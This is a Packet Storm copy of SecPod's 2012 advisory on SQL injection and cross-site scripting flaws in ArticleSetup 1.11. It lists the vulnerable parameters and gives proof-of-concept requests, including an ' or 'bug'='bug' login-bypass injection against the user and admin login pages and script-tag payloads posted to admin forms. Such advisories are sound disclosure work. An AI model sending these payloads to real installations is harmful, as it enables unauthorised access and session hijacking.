what you don't know can hurt you

ArticleSetup 1.11 Cross Site Scripting / SQL Injection

ArticleSetup 1.11 Cross Site Scripting / SQL Injection
Posted Mar 30, 2012
Authored by Antu Sanadi | Site secpod.com

ArticleSetup versions 1.11 and below suffer from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
MD5 | 7bffcd87c83238fa8ddb16684ba79dad

ArticleSetup 1.11 Cross Site Scripting / SQL Injection

Change Mirror Download
##############################################################################
#
# Title : ArticleSetup Multiple Persistence Cross-Site Scripting and SQL
Injection Vulnerabilities
# Author : Antu Sanadi SecPod Technologies (www.secpod.com)
# Vendor : http://www.articlesetup.com/
# Advisory : http://secpod.org/blog/?p=497
# http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt
# Software : ArticleSetup v1.11 and prior.
# Date : 30/03/2012
#
###############################################################################

SecPod ID: 1037 23/08/2011 Issue Discovered
21/02/2012 Vendor Notified
No Response from vendor
30/03/2011 Advisory Released

Class: XSS/SQL Injection Severity: High


Overview:
---------
ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection
Vulnerabilities.


Technical Description:
----------------------
ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection
Vulnerabilities.

i) Input passed via the 'userid' and 'password' parameter in
'/upload/login.php' page is not properly verified before being used in
an SQL query. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL queries.

ii) Input passed via the 'userid' and 'password' parameter in
'/upload/admin/login.php' page is not properly verified before being
used in an SQL query. This can be exploited to manipulate SQL queries
by injecting arbitrary SQL queries.

iii) Input passed via the 'cat' parameter in 'upload/feed.php' page is not
properly verified before being used in an SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL queries.

iV) Input passed via the 's' parameter in 'upload/search.php' page is not
properly verified before being used in an SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL queries.

V) Input passed via the 'id' parameter in '/upload/admin/pageedit.php',
'upload/admin/authoredit.php' and '/admin/categoryedit.php?id' pages are
not properly verified before being used in an SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL queries.

Vi) Input passed via the 's' and parameter in '/upload/search.php' page is not
properly verified before it is returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in
the context of a vulnerable site.

Vii) Input passed via the 'title' and parameter in 'upload//author/submit.php'
page is not properly verified before it is returned to the user. This can
be exploited to execute arbitrary HTML and script code in a user's browser
session in the context of a vulnerable site.

Viii)Input passed via the 'title' and parameter in '/upload/admin/articlenew.php',
'/upload/admin/categories.php' and '/upload/admin/pages.php' pages are not
properly verified before it is returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in
the context of a vulnerable site.

The vulnerabilities are tested in ArticleSetup v1.10 Other versions may also
be affected.


Impact:
--------
Successful exploitation could allow an attacker to execute arbitrary HTML
code in a user's browser session in the context of a vulnerable application
or to manipulate SQL queries by injecting arbitrary SQL code.


Affected Software:
------------------
ArticleSetup v1.11 and prior.

Tested on,
ArticleSetup v1.10, v1.11


References:
-----------
http://www.articlesetup.com/
http://secpod.org/blog/?p=497
http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt


Proof of Concept:
-----------------

POC 1:
-----
SQL Injection Vulnerabilities.

http://IP_ADDR/ArticleSetup/upload//feed.php?cat='
http://IP_ADDR/ArticleSetup/upload/search.php?s=%27
http://IP_ADDR/ArticleSetup/upload/admin/pageedit.php?id=%27
http://IP_ADDR/ArticleSetup/upload/admin/authoredit.php?id=%27
http://IP_ADDR/ArticleSetup/upload//admin/categoryedit.php?id=%27

POST /ArticleSetup/upload/login.php
Host: IP_ADDR
User-Agent: SQL INJECTION TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

Post Data:
==========
userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23

POST /ArticleSetup//upload/login.php
Host: IP_ADDR
User-Agent: SQL INJECTION TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

Post Data:
==========
userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23

POC 2:
-----
Cross Site Scripting Vulnerabilities.

http://IP_ADDR/ArticleSetup/upload//search.php?s=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E

POST /ArticleSetup//upload/author/submit.php HTTP/1.1
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 202

Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=1&body=%3Cp%3Eantu+sanadi+barn+in+india%3C%2Fp%3E&resource=%3Cp%3Eindia+is+gereat%3C%2Fp%3E&save=Submit+Article+%C2%BB&update=

POST /ArticleSetup//upload/admin/articlenew.php
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 163

Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=38&body=%3Cp%3Ei+am+here%3C%2Fp%3E&resource=%3Cp%3Ewhere+are+you%3C%2Fp%3E&save=&submit=

POST /ArticleSetup//upload/admin/categories.php
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&parentid=NULL&add=&save=


POST /ArticleSetup/upload/admin/pages.php
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&body=%3Cp%3Edsfds%3C%2Fp%3E&onmenu=on&add=&save=


Solution:
----------
Fix not available


Risk Factor:
-------------
CVSS Score Report:
ACCESS_VECTOR = NETWORK
ACCESS_COMPLEXITY = LOW
AUTHENTICATION = NONE
CONFIDENTIALITY_IMPACT = PARTIAL
INTEGRITY_IMPACT = PARTIAL
AVAILABILITY_IMPACT = NONE
EXPLOITABILITY = PROOF_OF_CONCEPT
REMEDIATION_LEVEL = UNAVAILABLE
REPORT_CONFIDENCE = CONFIRMED
CVSS Base Score = 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)
Risk factor = High


Credits:
--------
Antu Sanadi of SecPod Technologies has been credited with the discovery of this
vulnerability.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close